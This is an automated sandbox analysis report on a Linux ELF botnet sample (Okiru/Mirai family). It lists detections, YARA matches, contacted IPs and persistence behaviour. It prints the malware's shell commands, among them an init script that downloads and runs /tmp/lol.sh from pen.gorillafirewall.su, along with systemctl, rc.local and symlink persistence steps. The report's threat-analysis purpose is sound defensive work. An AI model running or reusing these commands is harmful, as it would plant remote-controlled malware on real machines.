Linux Analysis Report
x86_32.nn.elf

Overview

General Information

Sample name: x86_32.nn.elf
Analysis ID: 1522875
MD5: cda42956d6213c465b6876502ce3cfa6
SHA1: cdd2d1950ddd18b78b8f9c78c777e04eabc9ef6a
SHA256: d99d10559f1ad6bba1b59913604e261a613daa94af01ade8276effd692b5c03f
Tags: elfpen-gorillafirewall-suuser-JAMESWT_MHT
Infos:

Detection

Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Machine Learning detection for sample
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Writes shell script file to disk with an unusual file extension
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: x86_32.nn.elf ReversingLabs: Detection: 52%
Machine Learning detection for sample
Source: x86_32.nn.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: x86_32.nn.elf String: Found And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_11047815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnetbashhttpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/null 2>&1which lldb > /dev/null 2>&1which dtrace > /dev/null 2>&1which truss > /dev/null 2>&1which ptrace > /dev/null 2>&1LD_PRELOADLD_LIBRARY_PATHLD_AUDIT/procw/etc/motd%s

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 91.92.246.113 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 93.123.85.166 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 154.216.17.220 ports 38241,1,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:58110 -> 45.202.35.64:199
Source: global traffic TCP traffic: 192.168.2.13:54738 -> 154.216.17.220:38241
Source: global traffic TCP traffic: 192.168.2.13:56664 -> 91.92.246.113:38241
Source: global traffic TCP traffic: 192.168.2.13:50898 -> 93.123.85.166:38241
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: x86_32.nn.elf, 5461.1.00000000ffaf4000.00000000ffb15000.rw-.sdmp, x86_32.nn.elf.32.dr, profile.12.dr, inittab.12.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr String found in binary or memory: http://pen.gorillafirewall.su/
Source: x86_32.nn.elf, 5461.1.00000000ffaf4000.00000000ffb15000.rw-.sdmp String found in binary or memory: http://pen.gorillafirewall.su/lol.sh

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: Found And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_11047815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnetbashhttpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/nu
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/x86_32.nn.elf (PID: 5462) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5462) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5462) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5462) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5462) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5462) SIGKILL sent: pid: 5469, result: successful Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5462) SIGKILL sent: pid: 5483, result: successful Jump to behavior
Yara signature match
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: x86_32.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/9@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/x86_32.nn.elf (PID: 5461) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/x86_32.nn.elf (PID: 5461) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5474) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 5481) File: /etc/rc.d/S99x86_32.nn.elf -> /etc/init.d/x86_32.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/x86_32.nn.elf (PID: 5461) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5472) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5477) File: /etc/init.d/x86_32.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/x86_32.nn.elf (PID: 5463) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5468) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5473) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5475) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/x86_32.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting x86_32.nn.elf'\n /tmp/x86_32.nn.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping x86_32.nn.elf'\n killall x86_32.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/x86_32.nn.elf" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5476) Shell command executed: sh -c "chmod +x /etc/init.d/x86_32.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5478) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5480) Shell command executed: sh -c "ln -s /etc/init.d/x86_32.nn.elf /etc/rc.d/S99x86_32.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5472) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 5477) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/x86_32.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5479) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5464) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/x86_32.nn.elf (PID: 5461) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5472) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5477) File: /etc/init.d/x86_32.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/x86_32.nn.elf (PID: 5461) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/x86_32.nn.elf (PID: 5461) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5475) Writes shell script file to disk with an unusual file extension: /etc/init.d/x86_32.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/x86_32.nn.elf (PID: 5461) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 5475) File: /etc/init.d/x86_32.nn.elf Jump to dropped file

Stealing of Sensitive Information
barindex
Yara detected Okiru
Source: Yara match File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match File source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: x86_32.nn.elf PID: 5461, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Okiru
Source: Yara match File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match File source: 5461.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: x86_32.nn.elf PID: 5461, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
154.216.17.220
 unknown Seychelles
135357 SKHT-ASShenzhenKatherineHengTechnologyInformationCo true
45.202.35.64
 unknown Seychelles
139086 ONL-HKOCEANNETWORKLIMITEDHK false
91.92.246.113
 unknown Bulgaria
34368 THEZONEBG true
93.123.85.166
 unknown Bulgaria
43561 NET1-ASBG true

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true